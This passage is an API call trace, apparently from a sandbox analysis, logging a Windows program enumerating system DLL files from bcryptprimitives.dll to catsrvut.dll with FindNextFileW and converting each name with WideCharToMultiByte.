lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x1efc288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0261.044] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.044] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0261.044] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x1efc288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0261.044] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.045] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.045] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.045] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.045] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.045] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.045] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.045] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.045] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.046] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.046] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.046] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x1efc288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0261.046] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x1efc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0261.046] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.046] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x1efc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0261.046] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0261.046] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x1efc288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0261.046] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.047] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0261.047] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="catsrvps.dll", cAlternateFileName="")) returned 1 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.047] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18df9b5, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe18df9b5, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x77200, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0261.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x1efc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0261.047] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, 